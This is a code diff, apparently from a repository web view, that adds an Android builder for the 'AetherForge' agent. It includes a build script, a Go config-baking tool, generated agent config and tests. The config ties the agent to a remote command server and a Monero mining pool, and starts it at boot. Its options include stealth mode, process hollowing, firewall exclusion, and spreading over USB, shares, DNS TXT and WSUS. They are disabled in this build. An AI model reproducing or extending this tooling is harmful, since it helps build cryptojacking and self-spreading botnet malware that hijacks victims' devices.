[[ -f "$BUILTIN_PATH" ]] && cp -f "$BUILTIN_PATH" "$BUILTIN_BACKUP"
|
||||
|
||||
echo "==> Compiling linux/arm64 agent binary"
|
||||
(
|
||||
cd "$AGENT_DIR"
|
||||
GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -trimpath -ldflags "-s -w" -o "$AGENT_ASSET" .
|
||||
)
|
||||
|
||||
echo " agent binary: $(wc -c <"$AGENT_ASSET") bytes -> $AGENT_ASSET"
|
||||
|
||||
export ANDROID_HOME="${ANDROID_HOME:-${ANDROID_SDK_ROOT:-}}"
|
||||
if [[ -z "$ANDROID_HOME" ]]; then
|
||||
echo "ANDROID_HOME (or ANDROID_SDK_ROOT) is required for Gradle assembleDebug" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ ! -x "$APP_DIR/gradlew" ]]; then
|
||||
echo "Gradle wrapper missing. Run: cd android/agent-app && gradle wrapper" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "==> Gradle assembleDebug"
|
||||
(
|
||||
cd "$APP_DIR"
|
||||
./gradlew assembleDebug --no-daemon
|
||||
)
|
||||
|
||||
[[ -f "$APK_OUT" ]] || { echo "APK not found at $APK_OUT" >&2; exit 1; }
|
||||
echo "==> APK ready: $APK_OUT"
|
||||
80
android/forge/cmd/bake/main.go
Normal file
80
android/forge/cmd/bake/main.go
Normal file
@@ -0,0 +1,80 @@
|
||||
// bake renders Android APK assets and agent builtin config for a forge run.
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"aetherforge-android-forge/internal/forge"
|
||||
)
|
||||
|
||||
func main() {
|
||||
worker := flag.String("worker", "", "agent worker name")
|
||||
server := flag.String("server", "", "command deck URL (http/https)")
|
||||
secret := flag.String("fleet-secret", "", "fleet secret (optional; prefer env AETHERFORGE_FLEET_SECRET)")
|
||||
wallet := flag.String("wallet", "", "placeholder wallet (mining off by default)")
|
||||
buildID := flag.String("build-id", "android-dev", "build id stamped into config")
|
||||
configOut := flag.String("config-out", "", "write assets/config.json here")
|
||||
builtinOut := flag.String("builtin-out", "", "write agent/config/builtin.go here")
|
||||
flag.Parse()
|
||||
|
||||
cfg := forge.AndroidAgentDefaults()
|
||||
if *worker != "" {
|
||||
cfg.WorkerName = *worker
|
||||
}
|
||||
if *server != "" {
|
||||
cfg.ServerURL = *server
|
||||
}
|
||||
if *secret != "" {
|
||||
cfg.FleetSecret = *secret
|
||||
} else if v := os.Getenv("AETHERFORGE_FLEET_SECRET"); v != "" {
|
||||
cfg.FleetSecret = v
|
||||
}
|
||||
if *wallet != "" {
|
||||
cfg.Wallet = *wallet
|
||||
}
|
||||
if *buildID != "" {
|
||||
cfg.BuildID = *buildID
|
||||
}
|
||||
|
||||
if *configOut != "" {
|
||||
json, err := forge.RenderConfigJSON(cfg)
|
||||
if err != nil {
|
||||
exitErr(err)
|
||||
}
|
||||
if err := writeFile(*configOut, json); err != nil {
|
||||
exitErr(err)
|
||||
}
|
||||
fmt.Fprintf(os.Stderr, "wrote %s\n", *configOut)
|
||||
}
|
||||
|
||||
if *builtinOut != "" {
|
||||
src, err := forge.RenderBuiltinGo(cfg)
|
||||
if err != nil {
|
||||
exitErr(err)
|
||||
}
|
||||
if err := writeFile(*builtinOut, src); err != nil {
|
||||
exitErr(err)
|
||||
}
|
||||
fmt.Fprintf(os.Stderr, "wrote %s\n", *builtinOut)
|
||||
}
|
||||
|
||||
if *configOut == "" && *builtinOut == "" {
|
||||
fmt.Fprintln(os.Stderr, "specify -config-out and/or -builtin-out")
|
||||
os.Exit(2)
|
||||
}
|
||||
}
|
||||
|
||||
func writeFile(path, body string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(path, []byte(body), 0644)
|
||||
}
|
||||
|
||||
func exitErr(err error) {
|
||||
fmt.Fprintf(os.Stderr, "bake error: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
3
android/forge/go.mod
Normal file
3
android/forge/go.mod
Normal file
@@ -0,0 +1,3 @@
|
||||
module aetherforge-android-forge
|
||||
|
||||
go 1.26.3
|
||||
140
android/forge/internal/forge/config.go
Normal file
140
android/forge/internal/forge/config.go
Normal file
@@ -0,0 +1,140 @@
|
||||
// Package forge renders Android agent APK bake-time configuration.
|
||||
package forge
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// BakeConfig holds values embedded at APK forge time.
|
||||
type BakeConfig struct {
|
||||
WorkerName string `json:"worker_name"`
|
||||
ServerURL string `json:"server_url"`
|
||||
FleetSecret string `json:"fleet_secret,omitempty"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
}
|
||||
|
||||
// AndroidAgentDefaults returns fleet-first defaults with mining off by default.
|
||||
func AndroidAgentDefaults() BakeConfig {
|
||||
return BakeConfig{
|
||||
WorkerName: "android-fleet-node",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "android-node-no-pool",
|
||||
BuildID: "android-dev",
|
||||
}
|
||||
}
|
||||
|
||||
// RenderConfigJSON produces assets/config.json content for the APK wrapper.
|
||||
func RenderConfigJSON(cfg BakeConfig) (string, error) {
|
||||
cfg = normalize(cfg)
|
||||
out := map[string]any{
|
||||
"worker_name": cfg.WorkerName,
|
||||
"server_url": cfg.ServerURL,
|
||||
"mining": map[string]any{
|
||||
"enabled": false,
|
||||
"mode": "idle",
|
||||
"note": "CPU mining disabled by default; enable via server policy or re-forge.",
|
||||
},
|
||||
"fleet_secret_set": strings.TrimSpace(cfg.FleetSecret) != "",
|
||||
"build_id": cfg.BuildID,
|
||||
}
|
||||
if cfg.FleetSecret != "" {
|
||||
out["fleet_secret"] = cfg.FleetSecret
|
||||
}
|
||||
var buf bytes.Buffer
|
||||
enc := json.NewEncoder(&buf)
|
||||
enc.SetEscapeHTML(false)
|
||||
enc.SetIndent("", " ")
|
||||
if err := enc.Encode(out); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return strings.TrimSpace(buf.String()) + "\n", nil
|
||||
}
|
||||
|
||||
// RenderBuiltinGo produces agent/config/builtin.go for the embedded linux/arm64 binary.
|
||||
func RenderBuiltinGo(cfg BakeConfig) (string, error) {
|
||||
cfg = normalize(cfg)
|
||||
now := time.Now().UTC().Unix()
|
||||
return fmt.Sprintf(`// Code generated by AetherForge Android forge — DO NOT EDIT
|
||||
// Build ID: %s
|
||||
|
||||
package config
|
||||
|
||||
import "time"
|
||||
|
||||
func GetBuiltinConfig() BuiltinConfig {
|
||||
return BuiltinConfig{
|
||||
WorkerName: %q,
|
||||
ServerURL: %q,
|
||||
Wallet: %q,
|
||||
Threads: 0,
|
||||
ThreadMode: "percent",
|
||||
ThreadPercent: 0,
|
||||
CPUPriority: "idle",
|
||||
MiningMode: "idle",
|
||||
MinerExecution: "inprocess",
|
||||
DisplayMode: "background",
|
||||
SilentMode: false,
|
||||
RunAs: "user",
|
||||
AutoStart: false,
|
||||
ProcessName: "aetherforge-agent",
|
||||
BuildID: %q,
|
||||
BuiltAt: time.Unix(%d, 0),
|
||||
PoolHost: "pool.supportxmr.com",
|
||||
PoolPort: 3333,
|
||||
PoolTLS: false,
|
||||
PoolPass: "x",
|
||||
MaxCPUUsage: 0,
|
||||
MaxMemoryPct: 50,
|
||||
MinFreeRAM: 256,
|
||||
IdleThresholdPct: 0,
|
||||
IdleDurationMinutes: 60,
|
||||
ScheduleStart: "00:00",
|
||||
ScheduleEnd: "00:01",
|
||||
InstallBase: "temp",
|
||||
InstallRelativePath: "aetherforge-agent",
|
||||
AdaptToHardware: true,
|
||||
SelfHealing: false,
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
FirewallExclusion: false,
|
||||
AIEnabled: false,
|
||||
ProcessHollowing: false,
|
||||
MeshP2P: false,
|
||||
AutoSpread: false,
|
||||
HolePunch: false,
|
||||
RemoteAggressive: false,
|
||||
USBSpread: false,
|
||||
ShareSpread: false,
|
||||
GPUEnabled: false,
|
||||
FleetSecret: %q,
|
||||
LotlOnionEnabled: false,
|
||||
LotlPolicyFromServer: false,
|
||||
DnsTxtSpread: false,
|
||||
WebRTCMeshSpread: false,
|
||||
WSUSCachePeerSpread: false,
|
||||
}
|
||||
}
|
||||
`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret), nil
|
||||
}
|
||||
|
||||
func normalize(cfg BakeConfig) BakeConfig {
|
||||
def := AndroidAgentDefaults()
|
||||
if strings.TrimSpace(cfg.WorkerName) == "" {
|
||||
cfg.WorkerName = def.WorkerName
|
||||
}
|
||||
if strings.TrimSpace(cfg.ServerURL) == "" {
|
||||
cfg.ServerURL = def.ServerURL
|
||||
}
|
||||
if strings.TrimSpace(cfg.Wallet) == "" {
|
||||
cfg.Wallet = def.Wallet
|
||||
}
|
||||
if strings.TrimSpace(cfg.BuildID) == "" {
|
||||
cfg.BuildID = def.BuildID
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
78
android/forge/internal/forge/config_test.go
Normal file
78
android/forge/internal/forge/config_test.go
Normal file
@@ -0,0 +1,78 @@
|
||||
package forge
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRenderConfigJSON(t *testing.T) {
|
||||
cfg := BakeConfig{
|
||||
WorkerName: "pixel-7",
|
||||
ServerURL: "https://deck.example.com:8989",
|
||||
FleetSecret: "test-secret",
|
||||
BuildID: "apk-001",
|
||||
}
|
||||
raw, err := RenderConfigJSON(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var doc map[string]any
|
||||
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
|
||||
t.Fatalf("invalid json: %v\n%s", err, raw)
|
||||
}
|
||||
if doc["worker_name"] != "pixel-7" {
|
||||
t.Fatalf("worker_name: %v", doc["worker_name"])
|
||||
}
|
||||
if doc["server_url"] != "https://deck.example.com:8989" {
|
||||
t.Fatalf("server_url: %v", doc["server_url"])
|
||||
}
|
||||
mining, ok := doc["mining"].(map[string]any)
|
||||
if !ok || mining["enabled"] != false {
|
||||
t.Fatalf("mining should be disabled: %v", doc["mining"])
|
||||
}
|
||||
if doc["fleet_secret_set"] != true {
|
||||
t.Fatalf("fleet_secret_set expected true")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderBuiltinGo(t *testing.T) {
|
||||
cfg := BakeConfig{
|
||||
WorkerName: "tab-s9",
|
||||
ServerURL: "http://10.0.0.5:8989",
|
||||
FleetSecret: "fleet-key",
|
||||
Wallet: "placeholder-wallet",
|
||||
BuildID: "b-android",
|
||||
}
|
||||
src, err := RenderBuiltinGo(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, needle := range []string{
|
||||
`WorkerName: "tab-s9"`,
|
||||
`ServerURL: "http://10.0.0.5:8989"`,
|
||||
`FleetSecret: "fleet-key"`,
|
||||
`MiningMode: "idle"`,
|
||||
`IdleThresholdPct: 0`,
|
||||
`AutoStart: false`,
|
||||
`GPUEnabled: false`,
|
||||
} {
|
||||
if !strings.Contains(src, needle) {
|
||||
t.Fatalf("missing %q in builtin.go:\n%s", needle, src)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAndroidAgentDefaults(t *testing.T) {
|
||||
def := AndroidAgentDefaults()
|
||||
raw, err := RenderConfigJSON(def)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(raw, `"enabled": false`) {
|
||||
t.Fatalf("expected mining disabled in json: %s", raw)
|
||||
}
|
||||
if !strings.Contains(raw, def.ServerURL) {
|
||||
t.Fatalf("expected default server url in json: %s", raw)
|
||||
}
|
||||
}
|
||||
37
android/smoke-gradle.sh
Normal file
37
android/smoke-gradle.sh
Normal file
@@ -0,0 +1,37 @@
|
||||
#!/usr/bin/env bash
|
||||
# Smoke-check that the Android Gradle project is structurally valid.
|
||||
set -euo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")" && pwd)"
|
||||
APP="$ROOT/agent-app"
|
||||
|
||||
required=(
|
||||
"$APP/build.gradle.kts"
|
||||
"$APP/settings.gradle.kts"
|
||||
"$APP/src/main/AndroidManifest.xml"
|
||||
"$APP/src/main/java/com/aetherforge/agent/MainActivity.kt"
|
||||
"$APP/src/main/java/com/aetherforge/agent/AgentService.kt"
|
||||
"$APP/src/main/java/com/aetherforge/agent/BootReceiver.kt"
|
||||
"$APP/src/main/assets/config.json"
|
||||
)
|
||||
|
||||
for f in "${required[@]}"; do
|
||||
if [[ ! -f "$f" ]]; then
|
||||
echo "missing required file: $f" >&2
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
|
||||
grep -q 'FOREGROUND_SERVICE' "$APP/src/main/AndroidManifest.xml"
|
||||
grep -q 'RECEIVE_BOOT_COMPLETED' "$APP/src/main/AndroidManifest.xml"
|
||||
grep -q 'AgentService' "$APP/src/main/AndroidManifest.xml"
|
||||
|
||||
if [[ -x "$APP/gradlew" ]]; then
|
||||
(cd "$APP" && ./gradlew help -q)
|
||||
elif command -v gradle >/dev/null 2>&1; then
|
||||
(cd "$APP" && gradle help -q)
|
||||
else
|
||||
echo "gradle not installed — structural checks only (PASS)"
|
||||
fi
|
||||
|
||||
echo "android gradle smoke: OK"
|
||||
Reference in New Issue
Block a user